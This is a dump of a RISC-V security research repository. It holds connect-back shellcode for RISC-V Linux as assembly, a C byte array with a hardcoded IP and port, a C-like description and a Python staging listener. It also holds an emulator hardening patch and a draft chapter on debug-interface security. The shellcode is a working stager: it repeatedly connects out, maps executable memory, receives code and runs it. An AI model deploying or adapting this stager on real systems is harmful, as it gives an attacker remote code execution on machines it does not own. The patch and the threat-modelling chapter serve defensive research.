├── README.md ├── exploits └── payloads │ └── linux │ ├── netconnectback.c │ ├── netconnectback.py │ ├── netconnectback.s │ └── netconnectback.txt ├── patches └── bellard-riscvemu-2017-01-12.diff └── risc-v └── debug-specification └── security.tex /README.md: -------------------------------------------------------------------------------- 1 | # riscv-security 2 | This repository will contain RISC-V research materials, documentation, and code to assist interested engineers and security analysts. 3 | 4 | -------------------------------------------------------------------------------- /exploits/payloads/linux/netconnectback.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Compiled with: gcc -march=rv64imafdc to enable Compression support. 3 | * 4 | * Don A. Bailey 5 | * April 2nd, 2017 6 | */ 7 | 8 | uint8_t 9 | netconnectback[] = 10 | { 11 | /* 12 | 000000000001033c : 13 | 1033c: 715d addi sp,sp,-80 14 | 1033e: e086 sd ra,64(sp) 15 | 10340: e4a2 sd s0,72(sp) 16 | 10342: 4509 li a0,2 17 | 10344: 4585 li a1,1 18 | 10346: 4619 li a2,6 19 | 10348: 0c600893 li a7,198 20 | 1034c: 00000073 ecall 21 | 10350: 842a mv s0,a0 22 | 10352: c022 sw s0,0(sp) 23 | */ 24 | 0x5d, 0x71, 0x86, 0xe0, 0xa2, 0xe4, 0x09, 0x45, 25 | 0x85, 0x45, 0x19, 0x46, 0x93, 0x08, 0x60, 0x0c, 26 | 0x73, 0x00, 0x00, 0x00, 0x2a, 0x84, 0x22, 0xc0, 27 | 28 | /* 29 | 0000000000010354 <_reconnect>: 30 | 10354: 4289 li t0,2 31 | 10356: 00511823 sh t0,16(sp) 32 | 1035a: 00000297 auipc t0,0x0 33 | 1035e: 11a29283 lh t0,282(t0) # 10474 <_fini+0x16> 34 | 10362: 00511923 sh t0,18(sp) 35 | 10366: 00000297 auipc t0,0x0 36 | 1036a: 1122a283 lw t0,274(t0) # 10478 <_fini+0x1a> 37 | 1036e: ca16 sw t0,20(sp) 38 | 10370: cc02 sw zero,24(sp) 39 | 10372: ce02 sw zero,28(sp) 40 | 10374: 8522 mv a0,s0 41 | 10376: 080c addi a1,sp,16 42 | 10378: 4641 li a2,16 43 | 1037a: 0cb00893 li a7,203 44 | 1037e: 00000073 ecall 45 | 10382: 00055c63 bgez a0,1039a <_hello> 46 | */ 47 | 0x89, 0x42, 0x23, 0x18, 0x51, 0x00, 0x97, 0x02, 48 | 0x00, 0x00, 0x83, 0x92, 0xa2, 0x11, 0x23, 0x19, 49 | 0x51, 0x00, 0x97, 0x02, 0x00, 0x00, 0x83, 0xa2, 50 | 0x22, 0x11, 0x16, 0xca, 0x02, 0xcc, 0x02, 0xce, 51 | 0x22, 0x85, 0x0c, 0x08, 0x41, 0x46, 0x93, 0x08, 52 | 0xb0, 0x0c, 0x73, 0x00, 0x00, 0x00, 0x63, 0x5c, 53 | 0x05, 0x00, 54 | 55 | /* 56 | 0000000000010386 <_sleep>: 57 | 10386: 428d li t0,3 58 | 10388: d016 sw t0,32(sp) 59 | 1038a: d402 sw zero,40(sp) 60 | 1038c: 1008 addi a0,sp,32 61 | 1038e: 4581 li a1,0 62 | 10390: 06500893 li a7,101 63 | 10394: 00000073 ecall 64 | 10398: bf75 j 10354 <_reconnect> 65 | */ 66 | 0x8d, 0x42, 0x16, 0xd0, 0x02, 0xd4, 67 | 0x08, 0x10, 0x81, 0x45, 0x93, 0x08, 0x50, 0x06, 68 | 0x73, 0x00, 0x00, 0x00, 0x75, 0xbf, 69 | 70 | /* 71 | 000000000001039a <_hello>: 72 | 1039a: 8522 mv a0,s0 73 | 1039c: 180c addi a1,sp,48 74 | 1039e: 4611 li a2,4 75 | 103a0: 4681 li a3,0 76 | 103a2: 4701 li a4,0 77 | 103a4: 4781 li a5,0 78 | 103a6: 0cf00893 li a7,207 79 | 103aa: 00000073 ecall 80 | 103ae: 52c2 lw t0,48(sp) 81 | 103b0: 00000317 auipc t1,0x0 82 | 103b4: 0cc32303 lw t1,204(t1) # 1047c <_fini+0x1e> 83 | 103b8: 0a629063 bne t0,t1,10458 <_badhello> 84 | 103bc: 8522 mv a0,s0 85 | 103be: 00000597 auipc a1,0x0 86 | 103c2: 0be5a583 lw a1,190(a1) # 1047c <_fini+0x1e> 87 | 103c6: d82e sw a1,48(sp) 88 | 103c8: 180c addi a1,sp,48 89 | 103ca: 4611 li a2,4 90 | 103cc: 4681 li a3,0 91 | 103ce: 4701 li a4,0 92 | 103d0: 4781 li a5,0 93 | 103d2: 0ce00893 li a7,206 94 | 103d6: 00000073 ecall 95 | 103da: d802 sw zero,48(sp) 96 | 103dc: 8522 mv a0,s0 97 | 103de: 180c addi a1,sp,48 98 | 103e0: 4611 li a2,4 99 | 103e2: 4681 li a3,0 100 | 103e4: 4701 li a4,0 101 | 103e6: 4781 li a5,0 102 | 103e8: 0cf00893 li a7,207 103 | 103ec: 00000073 ecall 104 | 103f0: 4591 li a1,4 105 | 103f2: 04b51d63 bne a0,a1,1044c <_badlength> 106 | 103f6: 4501 li a0,0 107 | 103f8: 6585 lui a1,0x1 108 | 103fa: 461d li a2,7 109 | 103fc: 02200693 li a3,34 110 | 10400: 577d li a4,-1 111 | 10402: 4781 li a5,0 112 | 10404: 0de00893 li a7,222 113 | 10408: 00000073 ecall 114 | 1040c: 55fd li a1,-1 115 | 1040e: 04b50263 beq a0,a1,10452 <_badmmap> 116 | 10412: 89aa mv s3,a0 117 | 10414: 4901 li s2,0 118 | 10416: 54c2 lw s1,48(sp) 119 | */ 120 | 0x22, 0x85, 121 | 0x0c, 0x18, 0x11, 0x46, 0x81, 0x46, 0x01, 0x47, 122 | 0x81, 0x47, 0x93, 0x08, 0xf0, 0x0c, 0x73, 0x00, 123 | 0x00, 0x00, 0xc2, 0x52, 0x17, 0x03, 0x00, 0x00, 124 | 0x03, 0x23, 0xc3, 0x0c, 0x63, 0x90, 0x62, 0x0a, 125 | 0x22, 0x85, 0x97, 0x05, 0x00, 0x00, 0x83, 0xa5, 126 | 0xe5, 0x0b, 0x2e, 0xd8, 0x0c, 0x18, 0x11, 0x46, 127 | 0x81, 0x46, 0x01, 0x47, 0x81, 0x47, 0x93, 0x08, 128 | 0xe0, 0x0c, 0x73, 0x00, 0x00, 0x00, 0x02, 0xd8, 129 | 0x22, 0x85, 0x0c, 0x18, 0x11, 0x46, 0x81, 0x46, 130 | 0x01, 0x47, 0x81, 0x47, 0x93, 0x08, 0xf0, 0x0c, 131 | 0x73, 0x00, 0x00, 0x00, 0x91, 0x45, 0x63, 0x1d, 132 | 0xb5, 0x04, 0x01, 0x45, 0x85, 0x65, 0x1d, 0x46, 133 | 0x93, 0x06, 0x20, 0x02, 0x7d, 0x57, 0x81, 0x47, 134 | 0x93, 0x08, 0xe0, 0x0d, 0x73, 0x00, 0x00, 0x00, 135 | 0xfd, 0x55, 0x63, 0x02, 0xb5, 0x04, 0xaa, 0x89, 136 | 0x01, 0x49, 0xc2, 0x54, 137 | 138 | /* 139 | 0000000000010418 <_more>: 140 | 10418: 8522 mv a0,s0 141 | 1041a: 012985b3 add a1,s3,s2 142 | 1041e: 41248633 sub a2,s1,s2 143 | 10422: 4611 li a2,4 144 | 10424: 4681 li a3,0 145 | 10426: 4701 li a4,0 146 | 10428: 4781 li a5,0 147 | 1042a: 0cf00893 li a7,207 148 | 1042e: 00000073 ecall 149 | 10432: 00054a63 bltz a0,10446 <_badrecv> 150 | 10436: 00050563 beqz a0,10440 <_nomoredata> 151 | 1043a: 992a add s2,s2,a0 152 | 1043c: fd24dee3 ble s2,s1,10418 <_more> 153 | */ 154 | 0x22, 0x85, 0xb3, 0x85, 155 | 0x29, 0x01, 0x33, 0x86, 0x24, 0x41, 0x11, 0x46, 156 | 0x81, 0x46, 0x01, 0x47, 0x81, 0x47, 0x93, 0x08, 157 | 0xf0, 0x0c, 0x73, 0x00, 0x00, 0x00, 0x63, 0x4a, 158 | 0x05, 0x00, 0x63, 0x05, 0x05, 0x00, 0x2a, 0x99, 159 | 0xe3, 0xde, 0x24, 0xfd, 160 | 161 | /* 162 | 0000000000010440 <_nomoredata>: 163 | 10440: 8522 mv a0,s0 164 | 10442: 9982 jalr s3 165 | 10444: a829 j 1045e <_fini> 166 | */ 167 | 0x22, 0x85, 0x82, 0x99, 168 | 0x29, 0xa8, 169 | 170 | /* 171 | 0000000000010446 <_badrecv>: 172 | 10446: f7e00513 li a0,-130 173 | 1044a: a811 j 1045e <_fini> 174 | */ 175 | 0x13, 0x05, 0xe0, 0xf7, 0x11, 0xa8, 176 | 177 | /* 178 | 000000000001044c <_badlength>: 179 | 1044c: f7f00513 li a0,-129 180 | 10450: a039 j 1045e <_fini> 181 | */ 182 | 0x13, 0x05, 0xf0, 0xf7, 0x39, 0xa0, 183 | 184 | /* 185 | 0000000000010452 <_badmmap>: 186 | 10452: f8000513 li a0,-128 187 | 10456: a021 j 1045e <_fini> 188 | */ 189 | 0x13, 0x05, 190 | 0x00, 0xf8, 0x21, 0xa0, 191 | 192 | /* 193 | 0000000000010458 <_badhello>: 194 | 10458: f8100513 li a0,-127 195 | 1045c: a009 j 1045e <_fini> 196 | */ 197 | 0x13, 0x05, 0x10, 0xf8, 198 | 0x09, 0xa0, 199 | 200 | /* 201 | 000000000001045e <_fini>: 202 | 1045e: 84aa mv s1,a0 203 | 10460: 8522 mv a0,s0 204 | 10462: 03900893 li a7,57 205 | 10466: 00000073 ecall 206 | 1046a: 8526 mv a0,s1 207 | 1046c: 6086 ld ra,64(sp) 208 | 1046e: 6426 ld s0,72(sp) 209 | 10470: 6121 addi sp,sp,64 210 | 10472: 8082 ret 211 | 10474: 6704 ld s1,8(a4) 212 | 10476: 0000 unimp 213 | 10478: a8c0 fsd fs0,144(s1) 214 | 1047a: adde0103 lb sp,-1315(t3) 215 | 1047e: 75ca ld a1,176(sp) 216 | */ 217 | 0xaa, 0x84, 0x22, 0x85, 0x93, 0x08, 218 | 0x90, 0x03, 0x73, 0x00, 0x00, 0x00, 0x26, 0x85, 219 | 0x86, 0x60, 0x26, 0x64, 0x21, 0x61, 0x82, 0x80, 220 | 221 | /* Port */ 222 | 0x04, 0x67, 0x00, 0x00, 223 | 224 | /* IP Address */ 225 | 0xc0, 0xa8, 0x03, 0x01, 226 | 227 | /* Hello Signature */ 228 | 0xde, 0xad, 0xca, 0x75, 229 | }; 230 | 231 | -------------------------------------------------------------------------------- /exploits/payloads/linux/netconnectback.py: -------------------------------------------------------------------------------- 1 | from socket import * 2 | import time 3 | import sys 4 | 5 | 6 | s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) 7 | s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 8 | s.bind(('0.0.0.0', 1127)) 9 | s.listen() 10 | 11 | while 1: 12 | (c, info) = s.accept() 13 | print("accepted {0}".format(c)) 14 | 15 | c.send(b'\xde\xad\xca\x75') 16 | x = c.recv(4) 17 | print("got x={0}".format(x)) 18 | 19 | c.send(b'\x0a\x00\x00\x00') 20 | 21 | # li t0, 120; add a0, t0, 7; ret 22 | c.send(b'\x93\x02\x80\x07\x13\x85\x82\x00\x82\x80') 23 | 24 | c.close() 25 | 26 | 27 | -------------------------------------------------------------------------------- /exploits/payloads/linux/netconnectback.s: -------------------------------------------------------------------------------- 1 | /* 2 | IPv4 based connect-back shellcode for RISC-V Linux. 3 | 4 | Don A. Bailey 5 | April 2nd, 2017 6 | */ 7 | 8 | .global netcallback 9 | netcallback: 10 | /* save some stack space */ 11 | add sp, sp, -80 12 | sd ra, 64(sp) 13 | sd s0, 72(sp) 14 | 15 | /* socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */ 16 | li a0, 2 17 | li a1, 1 18 | li a2, 6 19 | li a7, 198 20 | ecall 21 | 22 | /* save socket */ 23 | mv s0, a0 24 | sw s0, 0(sp) 25 | 26 | /* Now, connect to the specified host:port */ 27 | _reconnect: 28 | /* sin_family */ 29 | li t0, 2 30 | sh t0, 16(sp) 31 | 32 | /* sin_port */ 33 | lh t0, .L1 34 | sh t0, 18(sp) 35 | 36 | /* sin_addr */ 37 | lw t0, .L2 38 | sw t0, 20(sp) 39 | 40 | /* padding */ 41 | sw zero, 24(sp) 42 | sw zero, 28(sp) 43 | 44 | mv a0, s0 45 | add a1, sp, 16 46 | li a2, 16 47 | li a7, 203 48 | ecall 49 | 50 | bge a0, zero, _hello 51 | 52 | /* Connection failed; nanosleep and try again */ 53 | /* 3 seconds; 0 nano */ 54 | _sleep: 55 | li t0, 3 56 | sw t0, 32(sp) 57 | sw zero, 40(sp) 58 | 59 | add a0, sp, 32 60 | li a1, 0 61 | li a7, 101 62 | ecall 63 | 64 | j _reconnect 65 | 66 | _hello: 67 | /* First, receive the hello and ensure it matches */ 68 | mv a0, s0 69 | add a1, sp, 48 70 | li a2, 4 71 | li a3, 0 72 | li a4, 0 73 | li a5, 0 74 | li a7, 207 75 | ecall 76 | 77 | lw t0, 48(sp) 78 | lw t1, .L3 79 | bne t0, t1, _badhello 80 | 81 | /* Send the hello response */ 82 | mv a0, s0 83 | 84 | lw a1, .L3 85 | sw a1, 48(sp) 86 | add a1, sp, 48 87 | 88 | li a2, 4 89 | li a3, 0 90 | li a4, 0 91 | li a5, 0 92 | li a7, 206 93 | ecall 94 | 95 | /* Now, receive the payload length */ 96 | sw zero, 48(sp) 97 | mv a0, s0 98 | add a1, sp, 48 99 | li a2, 4 100 | li a3, 0 101 | li a4, 0 102 | li a5, 0 103 | li a7, 207 104 | ecall 105 | 106 | li a1, 4 107 | bne a0, a1, _badlength 108 | 109 | /* Now, create a minimal mmap */ 110 | li a0, 0 111 | li a1, 4096 112 | li a2, 7 113 | li a3, 0x22 114 | li a4, -1 115 | li a5, 0 116 | li a7, 222 117 | ecall 118 | 119 | li a1, -1 120 | beq a0, a1, _badmmap 121 | 122 | /* Save the map */ 123 | mv s3, a0 124 | 125 | /* Now, receive everything into the map */ 126 | li s2, 0 127 | lw s1, 48(sp) 128 | _more: 129 | mv a0, s0 130 | add a1, s3, s2 131 | sub a2, s1, s2 132 | li a2, 4 133 | li a3, 0 134 | li a4, 0 135 | li a5, 0 136 | li a7, 207 137 | ecall 138 | 139 | /* Do we have the total packet? */ 140 | blt a0, zero, _badrecv 141 | 142 | /* Go ahead and launch of EOF */ 143 | beq a0, zero, _nomoredata 144 | 145 | /* Jump if we need more, or launch */ 146 | add s2, s2, a0 147 | ble s2, s1, _more 148 | 149 | _nomoredata: 150 | /* Go ahead and launch the payload now */ 151 | /* Allow socket reuse */ 152 | mv a0, s0 153 | jalr s3 154 | 155 | /* Let the return value persist */ 156 | j _fini 157 | 158 | _badrecv: 159 | li a0, -130 160 | j _fini 161 | 162 | _badlength: 163 | li a0, -129 164 | j _fini 165 | 166 | _badmmap: 167 | li a0, -128 168 | j _fini 169 | 170 | _badhello: 171 | li a0, -127 172 | j _fini 173 | 174 | _fini: 175 | mv s1, a0 176 | /* Close the file descriptor */ 177 | mv a0, s0 178 | li a7, 57 179 | ecall 180 | mv a0, s1 181 | 182 | ld ra, 64(sp) 183 | ld s0, 72(sp) 184 | add sp, sp, 64 185 | 186 | ret 187 | 188 | .L1: 189 | .word 0x6704 190 | .L2: 191 | .word 0x0103a8c0 192 | .L3: 193 | .word 0x75caadde 194 | -------------------------------------------------------------------------------- /exploits/payloads/linux/netconnectback.txt: -------------------------------------------------------------------------------- 1 | # 2 | # Netconnectback Readme 3 | # Don A. Bailey 4 | # 5 | 6 | This payload is a simple demonstration of a basic connect-back payload. It is 7 | non-optimized hand written assembly that emits functionality similar to the 8 | following C code. It is optimized for Linux and has been tested on the current 9 | Fedora project image, compiled Jan 9 2017 (4.6.2-00042-g8493175-dirty). 10 | 11 | struct sockaddr_in sin; 12 | sin.sin_family = AF_INET; 13 | sin.sin_port = SRV_PORT; 14 | sin.sin_addr.s_addr = SRV_ADDR; 15 | 16 | s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 17 | 18 | r = -1; 19 | do 20 | { 21 | r = connect(s, &sin, sizeof sin); 22 | if(r < 0) 23 | sleep(3); 24 | } 25 | while(r < 0); 26 | 27 | /* Say hello */ 28 | uint32_t x; 29 | recv(s, &x, 4, 0); 30 | if x != 0xdeadca75 { 31 | fail; 32 | } 33 | 34 | send(s, &x, 4, 0); 35 | 36 | /* Get payload length */ 37 | recv(s, &x, 4, 0); 38 | 39 | m = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); 40 | 41 | t = 0 42 | while(t < x) 43 | { 44 | r = recv(s, m + t, x - t, 0); 45 | if(r < 0) 46 | fail; 47 | if(r == 0) 48 | break; 49 | t += r; 50 | } 51 | 52 | int (*f)(int s); 53 | 54 | f = m; 55 | f(s); 56 | 57 | -------------------------------------------------------------------------------- /patches/bellard-riscvemu-2017-01-12.diff: -------------------------------------------------------------------------------- 1 | diff -Naur a/build_filelist.c b/build_filelist.c 2 | --- a/build_filelist.c 2017-01-12 13:29:09.000000000 -0700 3 | +++ b/build_filelist.c 2017-03-30 13:46:33.773844000 -0600 4 | @@ -58,7 +58,7 @@ 5 | goto use_quote; 6 | s++; 7 | } 8 | - fprintf(f, str); 9 | + fprintf(f, "%s", str); 10 | return; 11 | use_quote: 12 | s = str; 13 | diff -Naur a/riscvemu.c b/riscvemu.c 14 | --- a/riscvemu.c 2017-01-12 13:29:09.000000000 -0700 15 | +++ b/riscvemu.c 2017-03-30 13:46:13.287606000 -0600 16 | @@ -2393,16 +2393,18 @@ 17 | uint64_t sector_num, uint8_t *buf, int n, 18 | BlockDeviceCompletionFunc *cb, void *opaque) 19 | { 20 | + size_t xxx; 21 | BlockDeviceFile *bf = bs->opaque; 22 | // printf("bf_read_async: sector_num=%" PRId64 " n=%d\n", sector_num, n); 23 | if (!bf->f) 24 | return -1; 25 | + xxx = 0; 26 | if (bf->mode == BF_MODE_SNAPSHOT) { 27 | int i; 28 | for(i = 0; i < n; i++) { 29 | if (!bf->sector_table[sector_num]) { 30 | fseek(bf->f, sector_num * SECTOR_SIZE, SEEK_SET); 31 | - fread(buf, 1, SECTOR_SIZE, bf->f); 32 | + xxx = fread(buf, 1, SECTOR_SIZE, bf->f); 33 | } else { 34 | memcpy(buf, bf->sector_table[sector_num], SECTOR_SIZE); 35 | } 36 | @@ -2411,8 +2413,13 @@ 37 | } 38 | } else { 39 | fseek(bf->f, sector_num * SECTOR_SIZE, SEEK_SET); 40 | - fread(buf, 1, n * SECTOR_SIZE, bf->f); 41 | + xxx = fread(buf, 1, n * SECTOR_SIZE, bf->f); 42 | } 43 | + if((ssize_t)xxx <= 0) 44 | + { 45 | + fprintf(stderr, "donb: xxx <= 0 (fread)\n"); 46 | + return -1; 47 | + } 48 | /* synchronous read */ 49 | return 0; 50 | } 51 | @@ -2609,7 +2616,10 @@ 52 | const uint8_t *buf, int len) 53 | { 54 | int fd = (intptr_t)(bs->opaque); 55 | - write(fd, buf, len); 56 | + ssize_t x; 57 | + x = write(fd, buf, len); 58 | + if(x != len) 59 | + fprintf(stderr, "warning: donb: tun_write_packet failed"); 60 | } 61 | 62 | /* configure with: 63 | -------------------------------------------------------------------------------- /risc-v/debug-specification/security.tex: -------------------------------------------------------------------------------- 1 | \chapter{Debug Security} 2 | 3 | {\bf This part of the spec needs work before it's ready to be implemented, 4 | which is why it's in the appendix. It's left here to give a rough idea of some 5 | of the issues to consider.} 6 | 7 | \section{Rationale} 8 | 9 | Security is imperative within any computing ecosystem, but especially in the context of a debugging model for any given processing architecture. The RISC-V debugging architecture has been designed for flexibility, ease, and modularity. As such, ensuring security can be enforced as much as is reasonably possible is a critical part of the RISC-V debug specification. The following considerations illuminate this position: 10 | \begin{itemize} 11 | \item Common debug authentication models considered inadequate. 12 | \item A hart or core may never know it is being debugged. 13 | \item With an optional System Bus in place, it may be impossible for a core/hart to know it is being debugged. 14 | \item DM global reset can hold in reset every component in the system (including RTC?). 15 | \item DTM may be accessible from many transports (USB, I2C, SPI, etc.). 16 | \item Multiple DTMs can be used in parallel; up to use to ensure this doesn't happen. 17 | \item The DMI may not be point-to-point, but may be implemented within TileLink, AMBA, or another robust interface. 18 | \item Implementations where Program Buffer is implemented as a subset of main memory. 19 | \item DM can be active regardless of whether the authenticated bit is unset. 20 | \item If Triggers can use the Program Buffer, code may be executed from M-Mode through the abuse of triggers. 21 | \item Since trace data {\bf may} be stored in RAM on the system bus, generated trace data could be used to subvert system security. 22 | \end{itemize} 23 | 24 | \subsection{Common Authentication Models} 25 | The security of a computing technology is often heavily pinned on its ability to control access to its incorporated hardware debugging interfaces. The most common access controls deployed are as follows: 26 | \begin{itemize} 27 | \item Fuses that disable access to debug functionality 28 | \item A static security token stored in the DM 29 | \item A bootloader that disables DM access on startup and re-enables it through an authentication protocol 30 | \end{itemize} 31 | 32 | While fuses are the most concrete technology for disabling access to a debug module, they are bypassible and, more importantly, deny valid, authorized users access to a critical resource. While security analysts commonly recommend disabling access to debugging modules, it isn't a realistic practice. Hardware and software faults occur in production. Access to the debug module is often a critical path for realizing the source of faults in deployed systems. Furthermore, attacks against fuses have been a proven and cost-effective strategy for bypassing fuses. Glitching, for example, is one of the most well known and repeatedly proven strategies of attack. Thus, fuses, while often used, can be considered a technology that limits {\em legitimate} use while reducing the attack surface to only those individuals with the ability to perform attacks such as glitching. 33 | 34 | Static security tokens, such as passwords, are problematic for less obvious reasons. During production, these keys cannot be made unique to each manufactured unit. This is because it is exceptionally challenging to alter the production process to create a static, unique key and associate it with one specific manufactured unit. The overhead for this process is often unmaintainable. As a result, solutions commonly end up sharing the same static key throughout a deployment. The result is that any individual capable of guessing the key, or any leak of the key, opens up the entire environment to adversarial debugging. As such, any static key (whether it be an encryption key used in challenge-response, or simply a binary number) should not be used in production. 35 | 36 | The bootloader model is problematic for the reasons described in the paragraph above, but also incorporates the TOCTOU security tisk. TOCTOU (Time of Check, Time of Use) is a race condition where the attacker attempts to win a race with a computing system for access to a given resource. On processor reset, the processor's core will enable and configure internal modules (such as the debug module) prior to execution of the first instruction. This means that there is a period of time when the debug module is enabled and accessible prior to the bootloader disabling it in software. An attacker's advantage is the ability to automate the process and perform it an infinite number of times until they have successfully won the race. At this point, the attacker can simply extract the security key from system memory and will never have to race the bootloader again. 37 | 38 | \subsection{Attestation} 39 | Attestation is a critical piece of the security puzzle for embedded systems, Internet of Things (IoT), and production server environments. In the context of debug security, attestation is challenging to enforce. How can running code {\em know} that it is being instrumented by a debugger? That challenge is augmented without adequate authentication and authorizatoin controls. 40 | 41 | With the System Bus option in use, a debugger can access system memory or any peripheral device enabled on the target system without having to explicitly control any given hart. The result is a bypass of attestation controls that would otherwise enable a hart to identify whether it has been forced into debug mode. 42 | 43 | With global reset, it is possible, depending on the implementation, that a debug module could place into stasis any device that would otherwise indicate to a hart that it is being instrumented. One such example of this is a real time clock (RTC) that runs independently of the RISC-V core. If the global reset can affect such an RTC implemented on a SoC, software running on the core may not be able to use its {\em perception} of its ecosystem to detect debug behaviors. 44 | 45 | \subsection{Transport Security} 46 | This document recommends that the DTM be accessible over almost any transport. This includes transports such as USB, I2C, SPI, and more. While this shall prove useful for engineers that need access to the DM, but can't always spare room on a PCB for the common JTAG headers, it is also a concern in the context of the authentication models discussed earlier in this section. 47 | 48 | Malicious software can be placed in components with less security (or no security), that are accessed by a RISC-V processor or SoC over USB, I2C, or SPI. These components can abuse their position to brute force access to, or simply instrument, the DTM. A more realistic attack is simply allowing DM access over USB, then allowing a consumer to connect a RISC-V enabled device to a compromised public device over the USB port, resulting in a full system compromise through the DM. 49 | 50 | On a shared bus such as I2C and SPI, it may be possible for a malicious component to {\em listen} to debug communication traffic. If this communication includes a static authentication token, the malicious component can intercept and replay authentication at a later time. 51 | 52 | This document also suggests that multiple transports can be active in parallel. In other words, a legitimate user may access the DM over USB while a second user could also access the DM over I2C. It's important to note that there is only one DM and, thus, only one authentication mechanism. If the legitimate user over USB authenticates to and enables the DM, all other transports will then be open for instrumentation. 53 | 54 | \subsection{DM as a Pivot Target} 55 | Though an unlikely target to abuse due to the small threat surface, when the DMI is implemented on more robust interfaces, such as TileLink and AMBA that have access to other critical peripherals, it may be desirable to attack the debug module. In this model, the DM or DTM could be used to gain access to the DMI, which is also attached to TileLink, AMBA, etc. Once control over the DMI is obtained, the underlying interface could be used to manipulate other peripherals. 56 | 57 | Despite a low risk, it is important to point out that this target may always be present in any given system. The reason for this is that a DM and DTM (and thus, DMI) will be reachable even on systems where authentication is permanently disabled. Because of this, the potential for an advanced actor to subvert these technologies must be incorporated into a full threat model. 58 | 59 | \subsection{Effects on Main Memory} 60 | Any technology that uses main memory to store data, retrieve data, or execute instructions, could also be used by a malicious application. Text or binary structures, for example, written to main memory by a trace module could be used as instructions by software that does not have the ability to inject new code into a system. This is similar to using existing executable code in a return-oriented-programming (ROP) attack. 61 | 62 | This style of attack is unlikely on fully implemented processors with memory management units (MMU) and input-output MMU (IOMMU). Systems designed for microcontroller or SoC use may be more affected by this attack model. 63 | 64 | \subsection{Bypassing Authentication Checks} 65 | It's notable that the only authentication check that can be performed by the DM is interpreting its own {\em authenticated} bit in \ref{dmstatus}. If this bit is checked by the DM after an external authentication module denies a user access, a glitching (or similar) attack {\em may} be used to trick the DM into interpreting the bit as {\bf true}. 66 | 67 | \section{Solutions to Security Concerns} 68 | 69 | \subsection{Solutions Specific to a Particular Risk} 70 | 71 | \subsubsection{DMI Security} 72 | To ensure that an adversary can't abuse the DM or DTM with the purpose of controlling or manipulating the underlying bus used by DMI, some implementations may consider reducing the attack surface. To accomplish this, implementing a simplistic, point-to-point bus solely used for the DMI may be a viable option. 73 | 74 | Migrating the DMI away from TileLink, AMBA, or a similar bus interface will provide isolation from critical core components, and will ensure that any functionality abused within the DM subsystem can only affect the DM subsystem. 75 | 76 | \subsubsection{Main Memory} 77 | For systems that require a high level of trustworthiness, modules that require memory buffers should avoid the use of main memory. This includes the Trace Module's trace buffer, the DM's Program Buffer, etc. It is reasonable for implementers to prefer the use of main memory, as it reduces system costs. However, as noted earlier in this document, this may allow malicious programs to abuse these areas of memory with the intent of executing otherwise unavailable instructions, or to load malicious implants into areas of memory that are very challenging to inspect or validate. 78 | 79 | Thus, an example of a simple alternative is a cache RAM implementation using SRAM. Small capacity SRAM chips, perfect for use in caches, are reasonably cost effective and will provide isolation from main memory. In addition, SRAM can easily be incorporated into SoC designs so that external memory is not required for critical core components. 80 | 81 | \subsubsection{Bypassing Authentication Checks} 82 | Authentication checks in a RISC-V core are only bypassable when certain conditions are met. In most cases, adversaries attempt to induce these conditions through fault injection attacks. This document does not suggest specific enhancements toward the protection of physical fault injection attacks. However, the author does suggest that any organization developing an implementation of the RISC-V core targeted toward secure processing be designed with fault injection in mind and audited by a third party capable of evaluating such risks. 83 | 84 | It should be noted, regardless, that the DM is a well-suited target of fault injection (specifically, glitching attacs) that circumvent any authentication scheme built into the system. If a non-trivial authentication scheme is implemented, protection from fault injection attacks {\em should} be assessed to ensure the complexity of the authentication module is not superficially bypassed through the use of simplistic physical attacks. 85 | 86 | \subsection{Common Solutions} 87 | 88 | \subsubsection{Strong Authentication Model} 89 | Strong authentication is, of course, a category that includes a wide array of technologies. This document will not attempt to define what strong authentication {\em is}. However, it will provide a guideline for implementing strong authentication technology within the context of a debug module. The following sections define how strong authentication must be implemented within a RISC-V authentication module. 90 | 91 | \paragraph{Identification} 92 | The first and most critical part of interacting with an Authentication Module (AM) is determining its capabilities. Upon connection to a DM through a DTM, a debugger interacting with a module that implements authentication must query the {\em authenticated} bit in the dmstatus register. If this bit is zero, the debugger should tell the AM that it needs to perform peer authentication. The AM responds by sending a go-ahead message that encodes a 16-bit field declaring its capabilities. The debugger responds by selecting one (or none) of the authentication capabilities presented by the AM. If none, the session is considered {\em closed} and no further transactions shall be made. If a selection has been made, communication will continue with the peer authentication phase. 93 | 94 | The 16-bit capability field in the AM response to an authentication request should be unique to the {\em implementation} of a particular authentication scheme. For example, if one AM implementer chooses 0x007f as their authentication scheme identifier, it should represent a unique set of steps implemented using the serial protocol defined within this section. In this fashion, there shall be an adequate number of possible implementation models that can be accommodated by the generic RISC-V specification, while still ensuring that implementations of a specific AM scheme can be shared across multiple manufacturers. 95 | 96 | \paragraph{Peer Authentication} 97 | In order to validate that a Debugger or Debug Translator is talking to an AM connected to the Debug Module, the AM must be capable of proving itself in some fashion. Typically, this is achieved using public key certificates, where a unique asymmetric key pair is generated per each RISC-V core. The public key is then signed by a master private key owned by the implementing organization. The signature and unique asymmetric key pair are stored in a protected memory region of the RISC-V core. Upon connecting to the DM, the AM presents the signature and public key to the Debugger over the DTM. It's notable that this model {\em does not require} substantial features such as PKI, X.509 parsing, and similarly complicated binary formats. 98 | 99 | It is also notable that asymmetric cryptography may not be required to fulfill a model for signature verification. Symmetric cryptography may also be used, reducing the overall complexity of the AM. However, if symmetric cryptography is used, the {\em master} signing key used to authenticate a per-core key {\em should} be protected from physical attacks that can reproduce the original key, such as simple power analysis (SPA) and differential power analysis (DPA). If the master key is exposed by any single attacker, all unique keys signed by the master key will be at risk of impersonation. Additionally, arbitrary devices may then be {\em signed} by the exposed master key. 100 | 101 | Without proper guidance, the symmetric model is much more challenging to implement correctly. Obviously, in the public key model, the private key for generating the signature is never stored on the core. And, while the private key {\em is} stored on the core and could also be extracted through DPA and SPA attacks (or similar), the signature only represents one single core and does not reduce the security of an arbitrary number of cores. 102 | 103 | \paragraph{Key Exchange} 104 | Once the DM has been authenticated by a debugger, the debugger can exchange keys with the AM. Key exchange should be implemented in one of the following ways 105 | \begin{itemize} 106 | \item The authentication token is directly encrypted with the AM's key 107 | \item The debugger's [public] key is encrypted with the AM's key 108 | \item An existing secure key exchange protocol can be implemented here 109 | \end{itemize} 110 | 111 | After the exchange occurs, the AM must disclose a 32-bit pattern that describes the Granular 